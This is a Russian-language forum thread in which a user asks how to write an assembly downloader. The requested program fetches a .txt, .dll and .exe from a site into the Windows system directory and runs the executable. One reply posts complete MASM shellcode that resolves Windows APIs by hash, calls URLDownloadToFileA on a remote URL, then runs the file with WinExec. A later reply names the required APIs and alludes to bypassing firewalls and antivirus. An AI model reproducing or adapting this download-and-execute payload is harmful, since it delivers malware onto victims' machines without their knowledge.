asm downloader ?

guest113 · 14 Nov 2010

как на ассемблере накодить программу которая скачает файлы
file.txt ,file.dll и file.exe с сайта site.com в %SYSTEMROOT% и запустит file.exe

P.S
file.txt ~ 3 kb
file.exe ~ 2 kb
file.dll. ~ 300kb

DeepBlue7 · 14 Nov 2010

А почему именно на асме ? Ну если уж так, можеш api функции юзать... (гугл)

Hideofangel · 14 Nov 2010

.586
.model flat,stdcall
option casemap:none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib

.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
mov eax,offset shellcodebuffer
jmp eax
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h

@@shellcodebegin:
call @@beginaddr
@@beginaddr:
PUSH 03H
jmp @@realshellcode
myExitProcess dd 073e2d87eh
myWinExec dd 00e8afe98h
myLoadLibraryA dd 0ec0e4e8eh
dll db 'URLMON',0,0
myUrlDownFile dd 0702f1a36h
path db 'c:\a.exe',0
url db 'http://www.сайт/a.exe',0

@@realshellcode:
POP ECX
POP EDI
SCASD ;edi+4
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH]
mov esi, [eax+1cH]
lodsd
mov ebp, [eax+08H]
@@next2:
PUSH ECX
@@next3:
MOV ESI,[EBP+3Ch]
MOV ESI,[EBP+ESI+78h]
ADD ESI,EBP
PUSH ESI
MOV ESI,[ESI+20h]
ADD ESI,EBP
XOR ECX,ECX
DEC ECX
@@next:
INC ECX
LODSD
ADD EAX,EBP
XOR EBX,EBX
@@again:
MOVSX EDX,BYTE PTR [EAX]
CMP DL,DH
JZ @@end
ROR EBX,0Dh
ADD EBX,EDX
INC EAX
JMP @@again
@@end:
CMP EBX,[EDI]
JNZ @@next
POP ESI
MOV EBX,[ESI+24h]
ADD EBX,EBP
MOV CX,WORD PTR [ECX*2+EBX]
MOV EBX,[ESI+1Ch]
ADD EBX,EBP
MOV EAX,[ECX*4+EBX]
ADD EAX,EBP
STOSD
POP ECX
loop @@next2
mov ecx,[edi]
cmp cl,'c'
jz @@downfile
PUSH EDI
CALL EAX
xchg eax,ebp
scasd
scasd
push 01
jmp @@next3

@@downfile:
push edx ;0
push edx ;0
push edi ;file=c:\a.exe
lea ecx, dword ptr [edi+9h]
push ecx ;url
push edx ;0
call eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
push 1 ;FOR TEST
push edi
call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
call dword ptr [edi-18H] ;Exitprocess
somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
invoke ExitProcess,0
end start
Click to expand...

(c)Inj3ct0r.com

guest113 · 14 Nov 2010

PaCo said:

С помощью рук и клавиатуры.
Click to expand...

молодец , величайший ответ человечества.

а Hideofangel' ю спасибо за ответ

а если кому не трудно можно вкратце комментарии в коду выше

P.S я думаю асм не ограничивается одним кодом , выкладывайте ваши варианты (можно и на других языках пр. ) желательно без messagebox'ов

SmanxX1 · 14 Nov 2010

GetWindowsDirectory
URLDownloadToFile
ShellExecute

Это минимум что нужно знать, если только тебе не требуется обход фаерволов, ав и пр. извращений.

asm downloader ?

guest113 New Member

DeepBlue7 Elder - Старейшина

Hideofangel Banned

guest113 New Member

SmanxX1 Elder - Старейшина

Useful Searches

asm downloader ?

guest113 New Member

DeepBlue7 Elder - Старейшина

Hideofangel Banned

guest113 New Member

SmanxX1 Elder - Старейшина